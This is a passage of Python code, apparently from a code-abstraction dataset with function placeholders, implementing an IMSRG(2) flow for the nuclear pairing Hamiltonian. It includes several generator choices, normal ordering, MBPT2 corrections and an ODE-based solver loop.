j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr 